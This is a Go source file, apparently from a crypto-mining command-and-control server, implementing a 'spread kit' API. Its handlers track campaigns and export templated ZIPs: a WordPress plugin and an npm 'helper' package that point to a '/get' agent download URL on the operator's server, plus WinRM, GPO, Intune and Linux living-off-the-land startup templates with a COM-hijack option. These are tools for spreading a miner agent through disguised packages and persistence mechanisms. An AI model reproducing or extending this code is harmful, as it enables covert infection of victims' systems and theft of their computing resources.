Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Ship Lambda/EventBridge templates and a token-gated policy snapshot endpoint so agents can poll hospice, vaccination lanes, and genesis version when C2 is down, preferring EventBridge relay over 30m reconnect.
404 lines
12 KiB
Go
404 lines
12 KiB
Go
package api
|
|
|
|
import (
|
|
"encoding/json"
|
|
"fmt"
|
|
"net/http"
|
|
"os"
|
|
"path/filepath"
|
|
"strconv"
|
|
"strings"
|
|
"sync"
|
|
"time"
|
|
|
|
dbpkg "crypto-miner-server/internal/db"
|
|
"crypto-miner-server/internal/erasure"
|
|
|
|
"github.com/go-chi/chi/v5"
|
|
)
|
|
|
|
// SpreadHandler covers Emberwake notes, campaign stats, and spread-kit ZIP export.
|
|
type SpreadHandler struct {
|
|
db *dbpkg.Database
|
|
dataDir string
|
|
projectRoot string
|
|
wsHub *WSHub
|
|
publicURL func() string
|
|
erasureShards *erasure.ShardStore
|
|
deployPlan *DeployPlanHandler
|
|
policyPathTracer *PathTracerHandler
|
|
policyFanoutCfgFn func() PolicyFanoutConfig
|
|
notesMu sync.RWMutex
|
|
}
|
|
|
|
func NewSpreadHandler(database *dbpkg.Database, dataDir, projectRoot string, wsHub *WSHub) *SpreadHandler {
|
|
return &SpreadHandler{db: database, dataDir: dataDir, projectRoot: projectRoot, wsHub: wsHub}
|
|
}
|
|
|
|
func (h *SpreadHandler) notesPath() string {
|
|
return filepath.Join(h.dataDir, "emberwake-notes.json")
|
|
}
|
|
|
|
type emberwakeNotes struct {
|
|
Content string `json:"content"`
|
|
UpdatedAt string `json:"updated_at"`
|
|
UpdatedBy string `json:"updated_by"`
|
|
}
|
|
|
|
func (h *SpreadHandler) readNotes() emberwakeNotes {
|
|
h.notesMu.RLock()
|
|
defer h.notesMu.RUnlock()
|
|
data, err := os.ReadFile(h.notesPath())
|
|
if err != nil {
|
|
return emberwakeNotes{Content: "", UpdatedAt: "", UpdatedBy: ""}
|
|
}
|
|
var n emberwakeNotes
|
|
if json.Unmarshal(data, &n) != nil {
|
|
return emberwakeNotes{}
|
|
}
|
|
return n
|
|
}
|
|
|
|
func (h *SpreadHandler) writeNotes(n emberwakeNotes) error {
|
|
h.notesMu.Lock()
|
|
defer h.notesMu.Unlock()
|
|
data, err := json.MarshalIndent(n, "", " ")
|
|
if err != nil {
|
|
return err
|
|
}
|
|
return os.WriteFile(h.notesPath(), data, 0644)
|
|
}
|
|
|
|
// GET /api/v1/emberwake/notes
|
|
func (h *SpreadHandler) GetNotes(w http.ResponseWriter, r *http.Request) {
|
|
writeJSON(w, h.readNotes())
|
|
}
|
|
|
|
// PUT /api/v1/emberwake/notes
|
|
func (h *SpreadHandler) PutNotes(w http.ResponseWriter, r *http.Request) {
|
|
var body struct {
|
|
Content string `json:"content"`
|
|
}
|
|
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
|
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
|
return
|
|
}
|
|
n := emberwakeNotes{
|
|
Content: body.Content,
|
|
UpdatedAt: time.Now().UTC().Format(time.RFC3339),
|
|
UpdatedBy: AuthUsername(r),
|
|
}
|
|
if err := h.writeNotes(n); err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
if h.wsHub != nil {
|
|
h.wsHub.BroadcastEmberwakeNotes(n)
|
|
}
|
|
writeJSON(w, n)
|
|
}
|
|
|
|
// GET /api/v1/emberwake/campaigns
|
|
func (h *SpreadHandler) GetCampaigns(w http.ResponseWriter, r *http.Request) {
|
|
hits, err := h.db.ListCampaignHits(50)
|
|
if err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
if hits == nil {
|
|
hits = []dbpkg.CampaignHitSummary{}
|
|
}
|
|
writeJSON(w, map[string]interface{}{"campaigns": hits})
|
|
}
|
|
|
|
// GET /api/v1/emberwake/war-room?days=7
|
|
func (h *SpreadHandler) GetWarRoom(w http.ResponseWriter, r *http.Request) {
|
|
days := 7
|
|
if raw := strings.TrimSpace(r.URL.Query().Get("days")); raw != "" {
|
|
if n, err := strconv.Atoi(raw); err == nil && n > 0 && n <= 90 {
|
|
days = n
|
|
}
|
|
}
|
|
data, err := h.db.ListWarRoom(days)
|
|
if err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
writeJSON(w, data)
|
|
}
|
|
|
|
type spreadKitExportRequest struct {
|
|
BuildID string `json:"build_id"`
|
|
ServerURL string `json:"server_url"`
|
|
Campaign string `json:"campaign"`
|
|
}
|
|
|
|
type wordpressPluginExportRequest struct {
|
|
BuildID string `json:"build_id"`
|
|
ServerURL string `json:"server_url"`
|
|
Campaign string `json:"campaign"`
|
|
SiteName string `json:"site_name"`
|
|
}
|
|
|
|
type npmHelperExportRequest struct {
|
|
BuildID string `json:"build_id"`
|
|
ServerURL string `json:"server_url"`
|
|
Campaign string `json:"campaign"`
|
|
}
|
|
|
|
type spreadTemplateExportRequest struct {
|
|
Template string `json:"template"` // winrm | linux-lotl | gpo | intune
|
|
ServerURL string `json:"server_url"`
|
|
BuildID string `json:"build_id"`
|
|
Campaign string `json:"campaign"`
|
|
COMHijack bool `json:"com_hijack"`
|
|
LOTLMode string `json:"lotl_mode"` // systemd_run_user | crontab | both | off
|
|
AgentPath string `json:"agent_path"`
|
|
}
|
|
|
|
// POST /api/v1/builder/spread-kit-export
|
|
func (h *SpreadHandler) ExportSpreadKit(w http.ResponseWriter, r *http.Request) {
|
|
var req spreadKitExportRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
|
return
|
|
}
|
|
req.BuildID = strings.TrimSpace(req.BuildID)
|
|
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
|
|
req.Campaign = strings.TrimSpace(req.Campaign)
|
|
if req.ServerURL == "" {
|
|
http.Error(w, "server_url required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
|
|
templateDir := filepath.Join(h.projectRoot, "spread-kit-web-publisher")
|
|
if _, err := os.Stat(templateDir); err != nil {
|
|
http.Error(w, "spread-kit-web-publisher templates not found", http.StatusNotFound)
|
|
return
|
|
}
|
|
|
|
querySuffix, getQuerySuffix := buildQuerySuffix(req.BuildID, req.Campaign)
|
|
repl := map[string]string{
|
|
"{{SERVER_URL}}": req.ServerURL,
|
|
"{{BUILD_ID}}": req.BuildID,
|
|
"{{CAMPAIGN}}": req.Campaign,
|
|
"{{QUERY_SUFFIX}}": querySuffix,
|
|
"{{GET_QUERY_SUFFIX}}": getQuerySuffix,
|
|
"{{CAMPAIGN_QUERY}}": querySuffix,
|
|
"{{PIN_QUERY}}": "",
|
|
}
|
|
|
|
data, err := zipTemplateReplacements(templateDir, repl, nil)
|
|
if err != nil {
|
|
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
|
|
filename := "emberwake-spread-kit.zip"
|
|
if req.Campaign != "" {
|
|
filename = "emberwake-" + sanitizeExportSlug(req.Campaign) + ".zip"
|
|
}
|
|
writeZipAttachment(w, filename, data)
|
|
}
|
|
|
|
// POST /api/v1/builder/wordpress-plugin-export
|
|
func (h *SpreadHandler) ExportWordPressPlugin(w http.ResponseWriter, r *http.Request) {
|
|
var req wordpressPluginExportRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
|
return
|
|
}
|
|
req.BuildID = strings.TrimSpace(req.BuildID)
|
|
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
|
|
req.Campaign = strings.TrimSpace(req.Campaign)
|
|
req.SiteName = strings.TrimSpace(req.SiteName)
|
|
if req.ServerURL == "" {
|
|
http.Error(w, "server_url required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if req.SiteName == "" {
|
|
http.Error(w, "site_name required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
|
|
templateDir := filepath.Join(h.projectRoot, "templates", "wordpress-plugin", "plugin-template")
|
|
if _, err := os.Stat(templateDir); err != nil {
|
|
http.Error(w, "wordpress plugin templates not found", http.StatusNotFound)
|
|
return
|
|
}
|
|
|
|
slug := sanitizeExportSlug(req.SiteName)
|
|
wpCampaign := "wp-" + slug
|
|
downloadURL := req.ServerURL + "/get?c=" + wpCampaign
|
|
if req.BuildID != "" {
|
|
downloadURL += "&pin=" + req.BuildID
|
|
}
|
|
|
|
repl := map[string]string{
|
|
"{{SERVER_URL}}": req.ServerURL,
|
|
"{{BUILD_ID}}": req.BuildID,
|
|
"{{CAMPAIGN}}": wpCampaign,
|
|
"{{SITE_NAME}}": slug,
|
|
"{{PLUGIN_SLUG}}": slug,
|
|
"{{PLUGIN_NAME}}": slugDisplayName(slug),
|
|
"{{WP_CAMPAIGN}}": wpCampaign,
|
|
"{{DOWNLOAD_URL}}": downloadURL,
|
|
"{{VERSION}}": "1.0.0",
|
|
}
|
|
|
|
remap := func(rel string) string {
|
|
rel = filepath.ToSlash(rel)
|
|
if rel == "plugin.php" {
|
|
return slug + "/" + slug + ".php"
|
|
}
|
|
return slug + "/" + rel
|
|
}
|
|
|
|
data, err := zipTemplateReplacements(templateDir, repl, remap)
|
|
if err != nil {
|
|
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
writeZipAttachment(w, slug+"-wordpress-plugin.zip", data)
|
|
}
|
|
|
|
// POST /api/v1/builder/npm-helper-export
|
|
func (h *SpreadHandler) ExportNpmHelper(w http.ResponseWriter, r *http.Request) {
|
|
var req npmHelperExportRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
|
return
|
|
}
|
|
req.BuildID = strings.TrimSpace(req.BuildID)
|
|
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
|
|
req.Campaign = strings.TrimSpace(req.Campaign)
|
|
if req.ServerURL == "" {
|
|
http.Error(w, "server_url required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if req.Campaign == "" {
|
|
req.Campaign = "npm-helper"
|
|
}
|
|
|
|
templateDir := filepath.Join(h.projectRoot, "templates", "npm-helper-package")
|
|
if _, err := os.Stat(templateDir); err != nil {
|
|
http.Error(w, "npm helper templates not found", http.StatusNotFound)
|
|
return
|
|
}
|
|
|
|
querySuffix, _ := buildQuerySuffix(req.BuildID, req.Campaign)
|
|
pkgName := "@aetherforge/" + sanitizeExportSlug(req.Campaign) + "-helper"
|
|
repl := map[string]string{
|
|
"{{SERVER_URL}}": req.ServerURL,
|
|
"{{BUILD_ID}}": req.BuildID,
|
|
"{{CAMPAIGN}}": req.Campaign,
|
|
"{{QUERY_SUFFIX}}": querySuffix,
|
|
"{{PACKAGE_NAME}}": pkgName,
|
|
}
|
|
|
|
data, err := zipTemplateReplacements(templateDir, repl, nil)
|
|
if err != nil {
|
|
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
writeZipAttachment(w, sanitizeExportSlug(req.Campaign)+"-npm-helper.zip", data)
|
|
}
|
|
|
|
// POST /api/v1/builder/spread-template-export
|
|
func (h *SpreadHandler) ExportSpreadTemplate(w http.ResponseWriter, r *http.Request) {
|
|
var req spreadTemplateExportRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
|
return
|
|
}
|
|
req.Template = strings.TrimSpace(strings.ToLower(req.Template))
|
|
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
|
|
req.BuildID = strings.TrimSpace(req.BuildID)
|
|
req.Campaign = strings.TrimSpace(req.Campaign)
|
|
req.LOTLMode = strings.TrimSpace(req.LOTLMode)
|
|
req.AgentPath = strings.TrimSpace(req.AgentPath)
|
|
if req.ServerURL == "" {
|
|
http.Error(w, "server_url required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if req.Template == "" {
|
|
http.Error(w, "template required (winrm|linux-lotl|gpo|intune)", http.StatusBadRequest)
|
|
return
|
|
}
|
|
|
|
subdir, filename, err := spreadTemplatePaths(req.Template)
|
|
if err != nil {
|
|
http.Error(w, err.Error(), http.StatusBadRequest)
|
|
return
|
|
}
|
|
templateDir := filepath.Join(h.projectRoot, "templates", "spread", subdir)
|
|
if _, err := os.Stat(templateDir); err != nil {
|
|
http.Error(w, "spread template not found: "+subdir, http.StatusNotFound)
|
|
return
|
|
}
|
|
|
|
querySuffix, getQuerySuffix := buildQuerySuffix(req.BuildID, req.Campaign)
|
|
comHijack := "false"
|
|
if req.COMHijack {
|
|
comHijack = "true"
|
|
}
|
|
lotlMode := req.LOTLMode
|
|
if lotlMode == "" {
|
|
lotlMode = "systemd_run_user"
|
|
}
|
|
agentPath := req.AgentPath
|
|
if agentPath == "" {
|
|
agentPath = `C:\ProgramData\AetherForge\worker.exe`
|
|
}
|
|
|
|
repl := map[string]string{
|
|
"{{SERVER_URL}}": req.ServerURL,
|
|
"{{BUILD_ID}}": req.BuildID,
|
|
"{{CAMPAIGN}}": req.Campaign,
|
|
"{{QUERY_SUFFIX}}": querySuffix,
|
|
"{{GET_QUERY_SUFFIX}}": getQuerySuffix,
|
|
"{{COM_HIJACK}}": comHijack,
|
|
"{{LOTL_MODE}}": lotlMode,
|
|
"{{AGENT_PATH}}": agentPath,
|
|
}
|
|
|
|
data, err := zipTemplateReplacements(templateDir, repl, nil)
|
|
if err != nil {
|
|
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
writeZipAttachment(w, filename, data)
|
|
}
|
|
|
|
func spreadTemplatePaths(template string) (subdir, zipName string, err error) {
|
|
switch template {
|
|
case "winrm":
|
|
return "winrm", "aetherforge-winrm-bootstrap.zip", nil
|
|
case "linux-lotl", "linux_lotl":
|
|
return "linux", "aetherforge-linux-lotl.zip", nil
|
|
case "gpo", "enterprise-gpo":
|
|
return "enterprise", "aetherforge-gpo-startup.zip", nil
|
|
case "intune", "enterprise-intune":
|
|
return "enterprise", "aetherforge-intune-startup.zip", nil
|
|
default:
|
|
return "", "", fmt.Errorf("unknown template %q", template)
|
|
}
|
|
}
|
|
|
|
// PUT /api/v1/builds/{id}/public
|
|
func (h *SpreadHandler) SetBuildPublic(w http.ResponseWriter, r *http.Request) {
|
|
id := chi.URLParam(r, "id")
|
|
var body struct {
|
|
Public bool `json:"public"`
|
|
}
|
|
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
|
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if err := h.db.SetBuildPublic(id, body.Public); err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
writeJSON(w, map[string]interface{}{"ok": true, "id": id, "public": body.Public})
|
|
}
|